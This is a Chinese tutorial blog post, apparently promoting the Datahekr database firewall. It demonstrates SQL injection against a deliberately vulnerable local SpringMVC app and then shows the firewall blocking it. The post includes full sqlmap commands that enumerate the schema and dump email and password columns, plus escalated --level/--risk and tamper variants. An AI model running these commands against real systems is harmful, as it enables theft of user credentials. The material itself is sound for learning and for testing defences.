不只一次有人对我说: SQL注入已经过时了。 现在的WEB应用已经很难被注入了。
在下竟无言以对。还好最近看到一份针对乌云漏洞库的统计数据(https://zhuanlan.zhihu.com/p/21373306),感谢Python Hacker的工作。
数据从不说谎,统计结果可以明确的指出 SQL注入漏洞仍然是目前WEB应用中数量最多的漏洞。
在此文中,我们将演示如何使用sqlmap(http://sqlmap.org/)进行SQL注入,以及如何使用datahekr (www.datahekr.com)数据库安全防火墙来防御SQL注入攻击。
在开始之前,请大家移步(http://skylei.baijia.baidu.com/article/527712)并仔细查看该文章,了解进行漏洞发掘涉及到的法律风险及法律知识。
如果在查看了上述文章之后,你仍然想知道SQL注入知识及sqlmap的使用,那就让我们开始吧。
攻----------------
1. 为了避免不必要的法律风险,我们使用SpringMVC自行构建一个简单的web程序用于演示SQL注入攻击,,该程序使用Spring JdbcTemplate访问后台Mysql数据库,
2. 在此web程序中,故意暴露一个sql注入点,用于后续的注入测试。
3. 执行sqlmap命令,使用sqlmap爆数据库名称。
python sqlmap.py -u "http://localhost:8080/sqlinject_demo/blogdetail_code.html?code=1" --answers="extending=N,quit=N,follow=N,keep=N,try=Y,store=N,crack=N,do you want to use common=N,do you want to store hashes=N,it is not recommended=y" --dbs
4. 使用sqlmap拿当前用户
python sqlmap.py -u "http://localhost:8080/sqlinject_demo/blogdetail_code.html?code=1" --dbms "Mysql" --answers="extending=N,quit=N,follow=N,keep=N,try=Y,store=N,crack=N,do you want to use common=N,do you want to store hashes=N,it is not recommended=y" --current-user
5. 拿所有表名
python sqlmap.py -u "http://localhost:8080/sqlinject_demo/blogdetail_code.html?code=1" --dbms "Mysql" --answers="extending=N,quit=N,follow=N,keep=N,try=Y,store=N,crack=N,do you want to use common=N,do you want to store hashes=N,it is not recommended=y" -D "test" --tables
6. 拿表中的字段名
python sqlmap.py -u "http://localhost:8080/sqlinject_demo/blogdetail_code.html?code=1" --dbms "Mysql" --answers="extending=N,quit=N,follow=N,keep=N,try=Y,store=N,crack=N,do you want to use common=N,do you want to store hashes=N,it is not recommended=y" -D "test" -T "t_user" --columns
7. 拿数据,俗称脱裤
python sqlmap.py -u "http://localhost:8080/sqlinject_demo/blogdetail_code.html?code=1" --dbms "Mysql" --answers="extending=N,quit=N,follow=N,keep=N,try=Y,store=N,crack=N,do you want to use common=N,do you want to store hashes=N,it is not recommended=y" -D "test" -T "t_user" -C "id,email,password" --dump
至此,由于一个SQL注入漏洞,导致后台数据库完美被爆,
利用该漏洞,甚至可以上传脚本文件,进而控制服务器,具体信息请参考(http://www.freebuf.com/articles/222.html)
防----------------
在感受了sqlmap的强大之后,我们祭出SQL注入防护的秘密武器:Datahekr,试验sqlmap能否攻破Datahekr的保护层。
1. 在Datahekr的SAAS平台上配置并启动代理通道, 启动Datahekr代理程序 (具体步骤请免费注册Datahekr后参考文档)。 .
2. 使用Datahekr非常简单。不需要修改程序代码, 只需要简单的修改数据库连接URL即可。
3. 再次使用前面使用过的sqlmap命令对注入点进行攻击。但是在经过了一杯咖啡的等待后,只能得到如下的结果。
sqlmap的攻击都被Datahekr阻止掉了,
python sqlmap.py -u "http://localhost:8080/sqlinject_demo/blogdetail_code.html?code=1" --answers="extending=N,quit=N,follow=N,keep=N,try=Y,store=N,crack=N,do you want to use common=N,do you want to store hashes=N,it is not recommended=y" --dbs
python sqlmap.py -u "http://localhost:8080/sqlinject_demo/blogdetail_code.html?code=1" --dbms "Mysql" --answers="extending=N,quit=N,follow=N,keep=N,try=Y,store=N,crack=N,do you want to use common=N,do you want to store hashes=N,it is not recommended=y" -D "test" -T "t_user" -C "id,email,password" --dump
4. 发挥不屈不挠的精神,我们在sqlmap命令中加入 --level 5 --risk 3 参数。加大sqlmap的攻击力度到最高级别,再次对注入点发起冲锋。
在经过了第二杯咖啡的等待后。sqlmap仍然没有能突破Datahekr的保护层。
python sqlmap.py -u "http://localhost:8080/sqlinject_demo/blogdetail_code.html?code=1" --level 5 --risk 3 --dbms "Mysql" --answers="extending=N,quit=N,follow=N,keep=N,try=Y,store=N,crack=N,do you want to use common=N,do you want to store hashes=N,it is not recommended=y" -D "test" -T "t_user" -C "id,email,password" --dump
5. 恼羞成怒,困兽犹斗,我们给sqlmap加上tamper再次进行攻击. (关于tamper的更多信息,请参考 http://www.freebuf.com/articles/1000.html)
在经过了第三杯咖啡的等待后,sqlmap最后鸣金收兵,败下阵来。
python sqlmap.py -u "http://localhost:8080/sqlinject_demo/blogdetail_code.html?code=1" --level 5 --risk 3 --dbms "Mysql" --answers="extending=N,quit=N,follow=N,keep=N,try=Y,store=N,crack=N,do you want to use common=N,do you want to store hashes=N,it is not recommended=y" -D "test" -T "t_user" -C "id,email,password" --dump --tamper "equaltolike.py"
结论-------------------------
通过本文章。我们明确了SQL注入漏洞的危险程度,也见识到了sqlmap强大的注入功能。
更了解到了Datahekr强大的注入防护能力。
在后续文章中,我将向大家展示Datahekr的SQL审计功能。